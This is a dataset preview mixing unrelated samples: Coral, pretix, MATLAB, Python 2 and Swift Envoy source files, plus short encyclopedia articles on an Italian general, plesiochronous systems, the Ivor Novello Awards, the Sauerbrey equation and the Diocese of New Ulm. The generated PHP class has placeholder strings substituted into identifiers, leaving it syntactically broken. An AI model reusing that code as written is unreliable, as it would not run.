text
stringlengths 1
22.8M
|
|---|
```xml
import { Localized } from "@fluent/react/compat";
import cn from "classnames";
import CLASSES from "coral-stream/classes";
import { FORM_ERROR } from "final-form";
import React, { FunctionComponent, useCallback, useState } from "react";
import { Field, Form } from "react-final-form";
import { graphql } from "react-relay";
import { MAX_BIO_LENGTH } from "coral-common/common/lib/constants";
import { InvalidRequestError } from "coral-framework/lib/errors";
import { parseEmptyAsNull } from "coral-framework/lib/form";
import { useMutation, withFragmentContainer } from "coral-framework/lib/relay";
import { validateMaxLength } from "coral-framework/lib/validation";
import { CheckCircleIcon, SvgIcon } from "coral-ui/components/icons";
import { Flex, HorizontalGutter, HorizontalRule } from "coral-ui/components/v2";
import {
Button,
CallOut,
TextArea,
ValidationMessage,
} from "coral-ui/components/v3";
import { BioContainer_settings } from "coral-stream/__generated__/BioContainer_settings.graphql";
import { BioContainer_viewer } from "coral-stream/__generated__/BioContainer_viewer.graphql";
import RemainingCharactersContainer from "../../Comments/RemainingCharacters";
import UpdateBioMutation from "./UpdateBioMutation";
import styles from "./BioContainer.css";
interface Props {
viewer: BioContainer_viewer;
settings: BioContainer_settings;
}
const BioContainer: FunctionComponent<Props> = ({ viewer, settings }) => {
const updateBio = useMutation(UpdateBioMutation);
const onRemoveBio = useCallback(() => {
void updateBio({ bio: null });
setRemoved(true);
}, [updateBio]);
const [removed, setRemoved] = useState(false);
const onSubmit = useCallback(
async (formData: any) => {
const { bio } = formData;
try {
await updateBio({ bio });
return;
} catch (err) {
if (err instanceof InvalidRequestError) {
return err.invalidArgs;
}
return { [FORM_ERROR]: err.message };
}
},
[updateBio]
);
if (!settings.memberBios) {
return null;
}
return (
<HorizontalGutter
container="section"
aria-labelledby="profile-bio-title"
className={CLASSES.myBio.$root}
>
<HorizontalGutter spacing={1}>
<Localized id="profile-bio-title">
<h2
className={cn(styles.title, CLASSES.myBio.heading)}
id="profile-bio-title"
>
Bio
</h2>
</Localized>
<Localized id="profile-bio-description">
<p className={styles.description}>
Write a bio to display publicly on your commenting profile. Must be
less than 100 characters.
</p>
</Localized>
</HorizontalGutter>
<Form onSubmit={onSubmit} initialValues={{ bio: viewer.bio }}>
{({
handleSubmit,
submitting,
pristine,
invalid,
submitError,
submitSucceeded,
}) => (
<form autoComplete="off" onSubmit={handleSubmit} id="bio-form">
<HorizontalGutter>
<Field
name="bio"
parse={parseEmptyAsNull}
validate={validateMaxLength(MAX_BIO_LENGTH)}
>
{({ input, meta }) => (
<>
<TextArea
name={input.name}
onChange={input.onChange}
value={input.value}
color="streamBlue"
/>
<div>
{meta.error && (
<ValidationMessage
meta={meta}
justifyContent="flex-end"
/>
)}
<RemainingCharactersContainer
max={MAX_BIO_LENGTH}
value={input.value}
/>
</div>
</>
)}
</Field>
{removed && (
<CallOut
color="success"
icon={<SvgIcon Icon={CheckCircleIcon} />}
title={
<Localized id="profile-bio-removed">
Your bio has been removed
</Localized>
}
aria-live="polite"
/>
)}
{submitSucceeded && (
<CallOut
color="success"
icon={<SvgIcon Icon={CheckCircleIcon} />}
title={
<Localized id="profile-bio-success">
Your bio has been updated
</Localized>
}
aria-live="polite"
/>
)}
{submitError && (
<CallOut color="error" role="alert">
{submitError}
</CallOut>
)}
<Flex itemGutter className={styles.buttons}>
<Localized id="profile-bio-remove">
<Button
upperCase
color="error"
variant="outlined"
type="button"
onClick={onRemoveBio}
disabled={submitting || !viewer.bio}
>
Remove
</Button>
</Localized>
<Localized id="profile-bio-update">
<Button
upperCase
type="submit"
disabled={submitting || invalid || pristine}
>
Update
</Button>
</Localized>
</Flex>
</HorizontalGutter>
</form>
)}
</Form>
<HorizontalRule />
</HorizontalGutter>
);
};
const enhanced = withFragmentContainer<Props>({
viewer: graphql`
fragment BioContainer_viewer on User {
bio
}
`,
settings: graphql`
fragment BioContainer_settings on Settings {
memberBios
}
`,
})(BioContainer);
export default enhanced;
```
|
Biagio Abrate, Knight Grand Cross (born 8 November 1949) is a retired Italian general who served as Chief of Defence Staff.
Life and career
Born in Sant'Albano Stura, he was admitted at Military Academy of Modena and he graduated with the rank of tenente in 1974.
From 1975 to 1979 he held the posts of platoon and company commander in various battalion of mountain infantry, from 1979 he held a position at the Alpini Formation Center in Aosta.
From 1987 to 1990 he had his staff assignment and from 1990 to 1992 he led Bassano alpine infantry battalion in Innichen. After other staff duties he led Alpine Brigade Taurinense from 1998 to 2000, from July to November 2000 he led Multinational Brigade West in Kosovo.
From 2001 to 2007 he led the staff of Italian Minister of Defence serving under 3 different ministers. In 2007 he was named head of the Italian procurement defence agency. In 2010 the Italian president Giorgio Napolitano following the advice of the council of ministers named Abrate Chief of the Defence Staff.
Honour
: Knight Grand Cross of the Order of Merit of the Italian Republic (10 february 2010)
References
|-
Italian generals
1949 births
Living people
Chiefs of Defence Staff (Italy)
People from the Province of Cuneo
Knights Grand Cross of the Order of Merit of the Italian Republic
|
In telecommunications, a plesiochronous system is one where different parts of the system are almost, but not quite, perfectly synchronised. According to ITU-T standards, a pair of signals are plesiochronous if their significant instants occur at nominally the same rate, with any variation in rate being constrained within specified limits. A sender and receiver operate plesiosynchronously if they operate at the same nominal clock frequency but may have a slight clock frequency mismatch, which leads to a drifting phase. The mismatch between the two systems' clocks is known as the plesiochronous difference.
In general, plesiochronous systems behave similarly to synchronous systems, except they must employ some means in order to cope with "sync slips", which will happen at intervals due to the plesiochronous nature of the system. The most common example of a plesiochronous system design is the plesiochronous digital hierarchy networking standard.
The asynchronous serial communication protocol is asynchronous on the byte level, but plesiochronous on the bit level. The receiver detects the start of a byte by detecting a transition that may occur at a random time after the preceding byte. The indefinite wait and lack of external synchronization signals makes byte detection asynchronous. Then the receiver samples at predefined intervals to determine the values of the bits in the byte; this is plesiochronous since it depends on the transmitter to transmit at roughly the same rate the receiver expects, without coordination of the rate while the bits are being transmitted.
The modern tendency in systems engineering is towards using systems that are either fundamentally asynchronous (such as Ethernet), or fundamentally synchronous (such as synchronous optical networking), and layering these where necessary, rather than using a mixture between the two in a single technology.
The term plesiochronous comes from the Greek πλησίος plesios ("near") and χρόνος chrónos ("time").
See also
Buffer (telecommunication)
Clock drift
Isochronous timing
Jitter
Mesochronous network
Synchronization in telecommunications
References
Network architecture
Synchronization
|
The Ivor Novello Awards are held annually since 1956 by the Ivors Academy, formerly the British Academy of Songwriters, Composers and Authors, to recognize the excellence in songwriting and composing. The following list consists of all the winners and nominees of the awards by year, the winners are listed first and in bold followed by the nominees if present.
The awards and/or nominations are received by the songwriters of the nominated work, not the performers, unless they also have songwriting credits.
1950s
1956
The 1st Ivor Novello Awards were presented on March 11, 1956, at the Theatre Royal, Drury Lane, London.
1957
The 2nd Ivor Novello Awards were presented on April 8, 1957.
1958
The 3rd Ivor Novello Awards were presented in 1958.
1959
The 4th Ivor Novello Awards were presented at the BBC Television Theatre, London on May 25, 1959.
1960s
1960
The 5th Ivor Novello Awards were broadcast on BBC Television on June 6, 1960.
1961
The 6th Ivor Novello Awards were presented on May 20, 1961.
1962
The 7th Ivor Novello Awards were broadcast on BBC Television on May 13, 1962.
1963
The 8th Ivor Novello Awards were broadcast on BBC Television on May 4, 1963.
1964
The 9th Ivor Novello Awards were presented in 1964.
1965
The 10th Ivor Novello Awards took place on July 13, 1965, at the Savoy Hotel, London.
1966
The 11th Ivor Novello Awards were held the Hammersmith Palais, London.
1967
The 12th Ivor Novello Awards were held at the Lyceum Ballroom, London. They were broadcast on BBC radio service Light Programme on March 27, 1967.
1968
The 13th Ivor Novello Awards were presented in 1968.
1969
The 14th Ivor Novello Awards were presented on May 22, 1969.
References
External links
Ivor Awards archive
|
```objective-c
function [ clmParams, pdm_right, pdm_left ] = Load_CLM_params_eye()
%LOAD_CLM_PARAMS_WILD Summary of this function goes here
% Detailed explanation goes here
clmParams.window_size = [15,15; 13,13;];
clmParams.numPatchIters = size(clmParams.window_size,1);
% the PDM created from in the wild data
pdmLoc = ['../models/hierarch_pdm/pdm_6_r_eye.mat'];
load(pdmLoc);
pdm_right = struct;
pdm_right.M = double(M);
pdm_right.E = double(E);
pdm_right.V = double(V);
pdmLoc = ['../models/hierarch_pdm/pdm_6_l_eye.mat'];
load(pdmLoc);
pdm_left = struct;
pdm_left.M = double(M);
pdm_left.E = double(E);
pdm_left.V = double(V);
% the default model parameters to use
clmParams.regFactor = 0.1;
clmParams.sigmaMeanShift = 2;
clmParams.tikhonov_factor = 0;
clmParams.startScale = 1;
clmParams.num_RLMS_iter = 5;
clmParams.fTol = 0.01;
clmParams.useMultiScale = true;
clmParams.use_multi_modal = 1;
clmParams.tikhonov_factor = 0;
end
```
|
mewithoutYou's Nice and Blue (pt. Two) 7" vinyl was released in the UK on Strange Addiction Records on September 24, 2007. It features the song "Nice and Blue (Pt. 2)" from the mewithoutYou album "Brother, Sister", released worldwide in October, 2006. The B-Side is a demo of the song "In A Sweater Poorly Knit" from the mewithoutYou album "Brother, Sister".
A Side - Nice and Blue (Pt. 2)
B Side - In A Sweater Poorly Knit (Demo Version)
Sources
http://www.myspace.com/strangeaddictionrecords
http://www.myspace.com/mewithoutyou
http://www.brother-sister.net
http://www.allmusicimport.com/1160395.html
MewithoutYou albums
|
Husnah is a village in Makkah Province, in western Saudi Arabia.
See also
List of cities and towns in Saudi Arabia
Regions of Saudi Arabia
References
Populated places in Mecca Province
|
Novoqolovka is a former village in the municipality of Uzuntəpə in the Jalilabad Rayon of Azerbaijan.
References
Populated places in Jalilabad District (Azerbaijan)
|
```python
from django.dispatch import receiver
from pretix.base.channels import SalesChannel
from pretix.base.signals import (
register_payment_providers, register_sales_channels,
register_ticket_outputs,
)
@receiver(register_ticket_outputs, dispatch_uid="output_dummy")
def register_ticket_outputs(sender, **kwargs):
from .ticketoutput import DummyTicketOutput
return DummyTicketOutput
@receiver(register_payment_providers, dispatch_uid="payment_dummy")
def register_payment_provider(sender, **kwargs):
from .payment import (
DummyFullRefundablePaymentProvider,
DummyPartialRefundablePaymentProvider, DummyPaymentProvider,
)
return [DummyPaymentProvider, DummyFullRefundablePaymentProvider, DummyPartialRefundablePaymentProvider]
class FoobazSalesChannel(SalesChannel):
identifier = "baz"
verbose_name = "Foobar"
icon = "home"
testmode_supported = False
class FoobarSalesChannel(SalesChannel):
identifier = "bar"
verbose_name = "Foobar"
icon = "home"
testmode_supported = True
unlimited_items_per_order = True
@receiver(register_sales_channels, dispatch_uid="sc_dummy")
def register_sc(sender, **kwargs):
return [FoobarSalesChannel, FoobazSalesChannel]
```
|
Sybra seriata is a species of beetle in the family Cerambycidae. It was described by Pascoe in 1867.
References
seriata
Beetles described in 1867
|
Saint Thomas Aquinas Cathedral is the mother church of the Roman Catholic Diocese of Reno, Nevada, United States. It is located at 310 W. 2nd Street in Reno. It was built in 1908 as the rise in Reno's Catholic population warranted a larger church. The cathedral was nearly destroyed by a fire in 1909 and was restored the following year. The cathedral complex was listed on the National Register of Historic Places in 2022.
History
On May 21, 1906, Catholic officials purchased the Sol Levy home at the corner of Second and Chestnut (now Arlington) streets in Reno for $10,000 to be the site of St. Thomas Aquinas Cathedral. The cornerstone was laid in June 1906 and the cathedral was dedicated June 21, 1908. A fire on December 21, 1909, caused major damage, including the collapse of the ceiling, but it was salvaged and reopened in 1910. In 1931, Pope Pius XI appointed the first Bishop of Reno as Thomas Kiely Gorman DD. D.Sc. Hist. which established the Diocese of Reno. The church became known as the cathedral and a bishop's chair was installed, that remains today. A renovation conducted in the 1950s added a wraparound mural that surrounds the altar. In 2010, an expansive retrofit was conducted to stabilize the foundation of the church.
The mural painting which adorns the sanctuary is considered to be one of the finest works of art of its kind in America. The mural was painted by Edith and Isabel Piczek, with the theme being the "Adoration of the Lamb of God, our Lord in the Blessed Eucharist." In the mural, the Saints of the Old Law, to the left, include Abel, Moses, Ruth, Abraham and Isaac, all in the presence of the Manna. Melchisedech, David, Nathan, Malachias, Anna the Prophetess and John the Baptist are also seen to the left of the Lamb of God. The saints of the New Law include Peter and John, with Paul in the background. Augustine of Hippo, Clare of Assisi, Charles Borromeo, Paschal Baylon and Pope Pius X, who urges a modern working family to take the sacrament of communion.
A variety of Diocesan priests ran the cathedral for years. The Dominican Order lived at the church and ran its programs from 1980 to 1986. From 1986 to June 2018, the Conventual Franciscans (OFM) of the St. Joseph of Cupertino Province also lived at and ran the cathedral.
On July 1, 2018, Reverend Charles (Chuck) Durante became the Rector of the Saint Thomas Aquinas Cathedral. The liturgical and canonical seat belonged to Bishop Randolph Calvo, DD, JCD, who appointed Fr. Durante, to return to the cathedral where he, as a youth received his first communion and confirmation. When Fr. Chuck became a new priest, he said his first mass at the cathedral. It was his home parish for over 35 years before he was assigned to be the new rector. Fr. Beda Martirez is the parochial vicar.
Gallery
See also
List of Catholic cathedrals in the United States
List of cathedrals in the United States
Sacred Heart Basilica, Timaru, New Zealand
References
External links
Official cathedral site
Diocese of Reno official site
Roman Catholic churches completed in 1908
Thomas Aquinas, Cathedral of
Thomas Aquinas, Cathedral of
Churches in Reno, Nevada
Tourist attractions in Reno, Nevada
Neoclassical architecture in Nevada
1907 establishments in Nevada
20th-century Roman Catholic church buildings in the United States
Churches on the National Register of Historic Places in Nevada
National Register of Historic Places in Reno, Nevada
Neoclassical church buildings in the United States
|
The Sauerbrey equation was developed by the German Günter Sauerbrey in 1959, while working on his doctoral thesis at the Technical University of Berlin, Germany. It is a method for correlating changes in the oscillation frequency of a piezoelectric crystal with the mass deposited on it. He simultaneously developed a method for measuring the characteristic frequency and its changes by using the crystal as the frequency determining component of an oscillator circuit. His method continues to be used as the primary tool in quartz crystal microbalance (QCM) experiments for conversion of frequency to mass and is valid in nearly all applications.
The equation is derived by treating the deposited mass as though it were an extension of the thickness of the underlying quartz. Because of this, the mass to frequency correlation (as determined by Sauerbrey’s equation) is largely independent of electrode geometry. This has the benefit of allowing mass determination without calibration, making the set-up desirable from a cost and time investment standpoint.
The Sauerbrey equation is defined as:
where:
– Resonant frequency of the fundamental mode (Hz)
– normalized frequency change (Hz)
– Mass change (g)
– Piezoelectrically active crystal area (Area between electrodes, cm2)
– Density of quartz ( = 2.648 g/cm3)
– Shear modulus of quartz for AT-cut crystal ( = 2.947x1011 g·cm−1·s−2)
The normalized frequency is the nominal frequency shift of that mode divided by its mode number (most software outputs normalized frequency shift by default). Because the film is treated as an extension of thickness, Sauerbrey’s equation only applies to systems in which the following three conditions are met: the deposited mass must be rigid, the deposited mass must be distributed evenly and the frequency change < 0.05.
If the change in frequency is greater than 5%, that is, > 0.05, the Z-match method must be used to determine the change in mass.
The formula for the Z-match method is:
Equation 2 – Z-match method
– Frequency of loaded crystal (Hz)
– Frequency of unloaded crystal, i.e. Resonant frequency (Hz)
– Frequency constant for AT-cut quartz crystal (1.668x1013Hz·Å)
– Mass change (g)
– Piezoelectrically active crystal area (Area between electrodes, cm2)
– Density of quartz ( = 2.648 g/cm3)
– Z-Factor of film material
– Density of the film (Varies: units are g/cm3)
– Shear modulus of quartz ( = 2.947x1011 g·cm−1·s−2)
– Shear modulus of film (Varies: units are g·cm−1·s−2)
Limitations
The Sauerbrey equation was developed for oscillation in air and only applies to rigid masses attached to the crystal. It has been shown that quartz crystal microbalance measurements can be performed in liquid, in which case a viscosity related decrease in the resonant frequency will be observed:
where is the density of the liquid, is the viscosity of the liquid, and is the mode number.
References
Electrical phenomena
Transducers
Weighing instruments
|
```python
#! /usr/bin/env python
# Fix Python source files to avoid using
# def method(self, (arg1, ..., argn)):
# instead of the more rational
# def method(self, arg1, ..., argn):
#
# Command line arguments are files or directories to be processed.
# Directories are searched recursively for files whose name looks
# like a python module.
# Symbolic links are always ignored (except as explicit directory
# arguments). Of course, the original file is kept as a back-up
# (with a "~" attached to its name).
# It complains about binaries (files containing null bytes)
# and about files that are ostensibly not Python files: if the first
# line starts with '#!' and does not contain the string 'python'.
#
# Changes made are reported to stdout in a diff-like format.
#
# Undoubtedly you can do this using find and sed or perl, but this is
# a nice example of Python code that recurses down a directory tree
# and uses regular expressions. Also note several subtleties like
# preserving the file's mode and avoiding to even write a temp file
# when no changes are needed for a file.
#
# NB: by changing only the function fixline() you can turn this
# into a program for a different change to Python programs...
import sys
import re
import os
from stat import *
err = sys.stderr.write
dbg = err
rep = sys.stdout.write
def main():
bad = 0
if not sys.argv[1:]: # No arguments
err('usage: ' + sys.argv[0] + ' file-or-directory ...\n')
sys.exit(2)
for arg in sys.argv[1:]:
if os.path.isdir(arg):
if recursedown(arg): bad = 1
elif os.path.islink(arg):
err(arg + ': will not process symbolic links\n')
bad = 1
else:
if fix(arg): bad = 1
sys.exit(bad)
ispythonprog = re.compile('^[a-zA-Z0-9_]+\.py$')
def ispython(name):
return ispythonprog.match(name) >= 0
def recursedown(dirname):
dbg('recursedown(%r)\n' % (dirname,))
bad = 0
try:
names = os.listdir(dirname)
except os.error, msg:
err('%s: cannot list directory: %r\n' % (dirname, msg))
return 1
names.sort()
subdirs = []
for name in names:
if name in (os.curdir, os.pardir): continue
fullname = os.path.join(dirname, name)
if os.path.islink(fullname): pass
elif os.path.isdir(fullname):
subdirs.append(fullname)
elif ispython(name):
if fix(fullname): bad = 1
for fullname in subdirs:
if recursedown(fullname): bad = 1
return bad
def fix(filename):
## dbg('fix(%r)\n' % (filename,))
try:
f = open(filename, 'r')
except IOError, msg:
err('%s: cannot open: %r\n' % (filename, msg))
return 1
head, tail = os.path.split(filename)
tempname = os.path.join(head, '@' + tail)
g = None
# If we find a match, we rewind the file and start over but
# now copy everything to a temp file.
lineno = 0
while 1:
line = f.readline()
if not line: break
lineno = lineno + 1
if g is None and '\0' in line:
# Check for binary files
err(filename + ': contains null bytes; not fixed\n')
f.close()
return 1
if lineno == 1 and g is None and line[:2] == '#!':
# Check for non-Python scripts
words = line[2:].split()
if words and re.search('[pP]ython', words[0]) < 0:
msg = filename + ': ' + words[0]
msg = msg + ' script; not fixed\n'
err(msg)
f.close()
return 1
while line[-2:] == '\\\n':
nextline = f.readline()
if not nextline: break
line = line + nextline
lineno = lineno + 1
newline = fixline(line)
if newline != line:
if g is None:
try:
g = open(tempname, 'w')
except IOError, msg:
f.close()
err('%s: cannot create: %r\n' % (tempname, msg))
return 1
f.seek(0)
lineno = 0
rep(filename + ':\n')
continue # restart from the beginning
rep(repr(lineno) + '\n')
rep('< ' + line)
rep('> ' + newline)
if g is not None:
g.write(newline)
# End of file
f.close()
if not g: return 0 # No changes
# Finishing touch -- move files
# First copy the file's mode to the temp file
try:
statbuf = os.stat(filename)
os.chmod(tempname, statbuf[ST_MODE] & 07777)
except os.error, msg:
err('%s: warning: chmod failed (%r)\n' % (tempname, msg))
# Then make a backup of the original file as filename~
try:
os.rename(filename, filename + '~')
except os.error, msg:
err('%s: warning: backup failed (%r)\n' % (filename, msg))
# Now move the temp file to the original file
try:
os.rename(tempname, filename)
except os.error, msg:
err('%s: rename failed (%r)\n' % (filename, msg))
return 1
# Return succes
return 0
fixpat = '^[ \t]+def +[a-zA-Z0-9_]+ *( *self *, *(( *(.*) *)) *) *:'
fixprog = re.compile(fixpat)
def fixline(line):
if fixprog.match(line) >= 0:
(a, b), (c, d) = fixprog.regs[1:3]
line = line[:a] + line[c:d] + line[b:]
return line
if __name__ == '__main__':
main()
```
|
```php
<?php
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
*/
namespace Google\Service\Integrations;
class EnterpriseCrmFrontendsEventbusProtoEventExecutionDetails extends \Google\Collection
{
protected $collection_key = 'eventExecutionSnapshot';
protected $eventAttemptStatsType = your_sha256_hash::class;
protected $eventAttemptStatsDataType = 'array';
protected $eventExecutionSnapshotType = EnterpriseCrmFrontendsEventbusProtoEventExecutionSnapshot::class;
protected $eventExecutionSnapshotDataType = 'array';
/**
* @var string
*/
public $eventExecutionSnapshotsSize;
/**
* @var string
*/
public $eventExecutionState;
/**
* @var int
*/
public $eventRetriesFromBeginningCount;
/**
* @var string
*/
public $logFilePath;
/**
* @var string
*/
public $networkAddress;
/**
* @var string
*/
public $nextExecutionTime;
/**
* @var int
*/
public $ryeLockUnheldCount;
/**
* @param your_sha256_hash[]
*/
public function setEventAttemptStats($eventAttemptStats)
{
$this->eventAttemptStats = $eventAttemptStats;
}
/**
* @return your_sha256_hash[]
*/
public function getEventAttemptStats()
{
return $this->eventAttemptStats;
}
/**
* @param EnterpriseCrmFrontendsEventbusProtoEventExecutionSnapshot[]
*/
public function setEventExecutionSnapshot($eventExecutionSnapshot)
{
$this->eventExecutionSnapshot = $eventExecutionSnapshot;
}
/**
* @return EnterpriseCrmFrontendsEventbusProtoEventExecutionSnapshot[]
*/
public function getEventExecutionSnapshot()
{
return $this->eventExecutionSnapshot;
}
/**
* @param string
*/
public function setEventExecutionSnapshotsSize($eventExecutionSnapshotsSize)
{
$this->eventExecutionSnapshotsSize = $eventExecutionSnapshotsSize;
}
/**
* @return string
*/
public function getEventExecutionSnapshotsSize()
{
return $this->eventExecutionSnapshotsSize;
}
/**
* @param string
*/
public function setEventExecutionState($eventExecutionState)
{
$this->eventExecutionState = $eventExecutionState;
}
/**
* @return string
*/
public function getEventExecutionState()
{
return $this->eventExecutionState;
}
/**
* @param int
*/
public function setEventRetriesFromBeginningCount($eventRetriesFromBeginningCount)
{
$this->eventRetriesFromBeginningCount = $eventRetriesFromBeginningCount;
}
/**
* @return int
*/
public function getEventRetriesFromBeginningCount()
{
return $this->eventRetriesFromBeginningCount;
}
/**
* @param string
*/
public function setLogFilePath($logFilePath)
{
$this->logFilePath = $logFilePath;
}
/**
* @return string
*/
public function getLogFilePath()
{
return $this->logFilePath;
}
/**
* @param string
*/
public function setNetworkAddress($networkAddress)
{
$this->networkAddress = $networkAddress;
}
/**
* @return string
*/
public function getNetworkAddress()
{
return $this->networkAddress;
}
/**
* @param string
*/
public function setNextExecutionTime($nextExecutionTime)
{
$this->nextExecutionTime = $nextExecutionTime;
}
/**
* @return string
*/
public function getNextExecutionTime()
{
return $this->nextExecutionTime;
}
/**
* @param int
*/
public function setRyeLockUnheldCount($ryeLockUnheldCount)
{
$this->ryeLockUnheldCount = $ryeLockUnheldCount;
}
/**
* @return int
*/
public function getRyeLockUnheldCount()
{
return $this->ryeLockUnheldCount;
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(EnterpriseCrmFrontendsEventbusProtoEventExecutionDetails::class, your_sha256_hashventExecutionDetails');
```
|
The Diocese of New Ulm () is a Latin Church ecclesiastical territory, or diocese, of the Catholic Church in western Minnesota in the United States.
The Diocese of New Ulm is a suffragan diocese in the ecclesiastical province of the metropolitan Archdiocese of Saint Paul and Minneapolis. The see for the diocese is New Ulm. The Cathedral parish is the Cathedral of the Holy Trinity.
Territory
The Diocese of New Ulm encompasses the counties of Big Stone, Brown, Chippewa, Kandiyohi, Lac qui Parle, Lincoln, Lyon, McLeod, Meeker, Nicollet, Redwood, Renville, Sibley, Swift, and Yellow Medicine in Minnesota.
The largest town in the diocese is Willmar at 19,610; New Ulm is, after Hutchinson and Marshall, the 4th largest city. There are no Catholic colleges or universities in the diocese.
History
1826 to 1957
Central Minnesota went through several Catholic jurisdictions before the Vatican erected the Diocese of New Ulm:
Diocese of Saint Louis (1826 to 1837)
Diocese of Dubuque (1837 to 1850)
Diocese of Saint Paul (1850 to 1875)
The New Ulm area would remain part of the Diocese of Saint Paul, followed by the Archdiocese of Saint Paul, for the next 107 years.
The first Catholic church in the city of New Ulm, Holy Trinity, was started in 1857, but was demolished during the Dakota War of 1862. The replacement church was built in 1871, then was destroyed by a tornado ten years later. The current Holy Trinity church was completed in 1903.
1957 to 2000
On November 18, 1957, Pope Pius XII founded the Diocese of New Ulm, taking its territory from the Archdiocese of Saint Paul. The pope named Monsignor Alphonse Schladweiler of Saint Paul as the first bishop of New Ulm.
Following the conclusion of the Second Vatican Council in Rome, Schladweiler worked to implement its reforms, including introducing English into the mass. During his 18-year tenure, he ordained 64 priests and organized St. Isadore Parish in Clarkfield (1960) and Lady of the Lakes Parish in Spicer (1962). In 1972, Schladweiler founded a diocesan newspaper, the Newsletter, and the diocesan pastoral council. He also established a mission in Guatemala, assuming responsibility for staffing a parish in San Lucas Tolimán. Schladweiler retired in 1975.
The second bishop of New Ulm was Auxiliary Bishop Raymond Lucker of Saint Paul, named by Pope Paul VI in 1975. He placed one of his parishes under interdict until every member received psychological counseling after a nun, trained in New Age spirituality, replaced a crucifix in the church sanctuary with a "cosmic pillow." Lucker retired in 2000 due to health reasons.
2000 to present
Pope John Paul II named Auxiliary Bishop John Nienstedt from the Archdiocese of Detroit as the third bishop of New Ulm in 2001. He denounced the more progressive views of Lucker and told Catholics not to read Lucker's book on Catholic doctrine. Nienstadt became coadjutor archbishop of the Archdiocese of Saint Paul and Minneapolis in 2007.
Nienstedt's replacement in New Ulm was Reverend John M. LeVoir of Saint Paul and Minneapolis, named by Pope Benedict XVI in 2008. In 2017, the diocese filed for Chapter 11 Bankruptcy following numerous sexual abuse lawsuits against diocesan clergy. LeVoir retired in 2020.
As of 2023, the current bishop of the Diocese of New Ulm is Chad Zielinski, formerly bishop of the Diocese of Fairbanks. He was named by Pope Francis in 2022.
Sexual abuse
In the 1980s, a diocesan housekeeper reported to Reverend Francis J. Garvey, then a member of the priest personnel board, that Reverend John M. Murphy was entertaining young boys in his apartment. Garvey relayed the information to Bishop Schladweiler, who told Garvey to mind his own business. Nevertheless, Garvey confronted Murphey, who immediately resigned his post and left the diocese. This information was revealed by Garvey in a legal deposition taken in 2014. Murphy was included in the list of accused priests released by the diocese.
In 2002, Nienstadt compiled a list of 12 priests with credible accusations of sexual abuse for submission to the John Jay College of Criminal Justice at City University of New York. John Jay was studying clergy abuse in the United States. However, Nienstadt refused to release this list to the general public. In 2014, two men who claimed to have been sexually abused by Reverend Michael Skoblik sued the diocese, demanding the release of the list.
In March 2016, the diocese released the names of 16 clergy, 13 deceased, who were "credibly accused" of sexually abusing minors. In April 2016, three more priests were added to the list.In March 2017, the diocese filed for Chapter 11 bankruptcy in order to settle its sexual abuse lawsuits. At that point, 21 diocesan priests had credible accusations of sexual abuse, with most of the accusations dating from the 1950s to the 1970s. The lawsuits against the diocese accused approximately 90 priests of sexually abusing 101 victims.
In June 2019, the diocese agreed to distribute $34 million to 93 alleged victims as part of a settlement. It was approved by a bankruptcy judge in March 2020.
Bishops
Bishops of New Ulm
Alphonse James Schladweiler (1957–1975)
Raymond Alphonse Lucker (1975–2000)
John Clayton Nienstedt (2001–2007), appointed Coadjutor Archbishop and later Archbishop of Saint Paul and Minneapolis
John M. LeVoir (2008–2020)
Chad Zielinski (2022-)
Other diocesan priest who became bishop
John Jeremiah McRaith, appointed Bishop of Owensboro in 1982
Education
The Diocese of New Ulm has three high schools and 13 primary schools, with an approximate enrollment as of 2022 of 1,870.
Cathedral High School – New Ulm
Holy Trinity High School – Winsted
St. Mary's High School – Sleepy Eye
See also
Catholic Church in the United States
Ecclesiastical Province of Saint Paul and Minneapolis
List of the Catholic dioceses of the United States
References
External links
Diocese of New Ulm Official Site
New Ulm
Diocese of New Ulm
Christian organizations established in 1957
New Ulm
New Ulm
Companies that filed for Chapter 11 bankruptcy in 2017
|
```swift
import Envoy
import UIKit
private let kCellID = "cell-id"
private let kRequestAuthority = "api.lyft.com"
private let kRequestPath = "/ping"
private let kRequestScheme = "https"
private let kFilteredHeaders =
["server", "filter-demo", "async-filter-demo", "x-envoy-upstream-service-time"]
final class ViewController: UITableViewController {
private var results = [Result<Response, RequestError>]()
private var timer: Foundation.Timer?
private var streamClient: StreamClient?
private var pulseClient: PulseClient?
override func viewDidLoad() {
super.viewDidLoad()
let engine = EngineBuilder()
.setLogLevel(.debug)
.addPlatformFilter(DemoFilter.init)
.addPlatformFilter(BufferDemoFilter.init)
.addPlatformFilter(AsyncDemoFilter.init)
.respectSystemProxySettings(true)
.addNativeFilter(
name: "envoy.filters.http.buffer",
// swiftlint:disable:next line_length
typedConfig: "[type.googleapis.com/envoy.extensions.filters.http.buffer.v3.Buffer] { max_request_bytes: { value: 5242880 } }"
)
.setOnEngineRunning { NSLog("Envoy async internal setup completed") }
.addStringAccessor(name: "demo-accessor", accessor: { return "PlatformString" })
.setEventTracker { NSLog("Envoy event emitted: \($0)") }
.build()
self.streamClient = engine.streamClient()
self.pulseClient = engine.pulseClient()
NSLog("started Envoy, beginning requests...")
self.startRequests()
}
deinit {
self.timer?.invalidate()
}
// MARK: - Requests
private func startRequests() {
self.timer = .scheduledTimer(withTimeInterval: 1.0, repeats: true) { [weak self] _ in
self?.performRequest()
self?.recordStats()
}
}
private func performRequest() {
guard let streamClient = self.streamClient else {
NSLog("failed to start request - Envoy is not running")
return
}
NSLog("starting request to '\(kRequestPath)'")
// Note: this request should use h2 over TLS for the upstream request.
// The Objective-C example uses http/1.1 over cleartext. This is done on purpose to test
// both paths in end-to-end tests in CI.
let headers = RequestHeadersBuilder(method: .get, scheme: kRequestScheme,
authority: kRequestAuthority, path: kRequestPath)
.build()
streamClient
.newStreamPrototype()
.setOnResponseHeaders { [weak self] headers, _, _ in
let statusCode = headers.httpStatus.map(String.init) ?? "nil"
let message = "received headers with status \(statusCode)"
let headerMessage = headers.caseSensitiveHeaders()
.filter { kFilteredHeaders.contains($0.key) }
.map { "\($0.key): \($0.value.joined(separator: ", "))" }
.joined(separator: "\n")
NSLog(message)
if let filterDemoValue = headers.value(forName: "filter-demo")?.first {
NSLog("filter-demo: \(filterDemoValue)")
}
if let asyncFilterDemoValue = headers.value(forName: "async-filter-demo")?.first {
NSLog("async-filter-demo: \(asyncFilterDemoValue)")
}
let response = Response(message: message,
headerMessage: headerMessage)
self?.add(result: .success(response))
}
.setOnError { [weak self] error, _ in
let message: String
if let attemptCount = error.attemptCount {
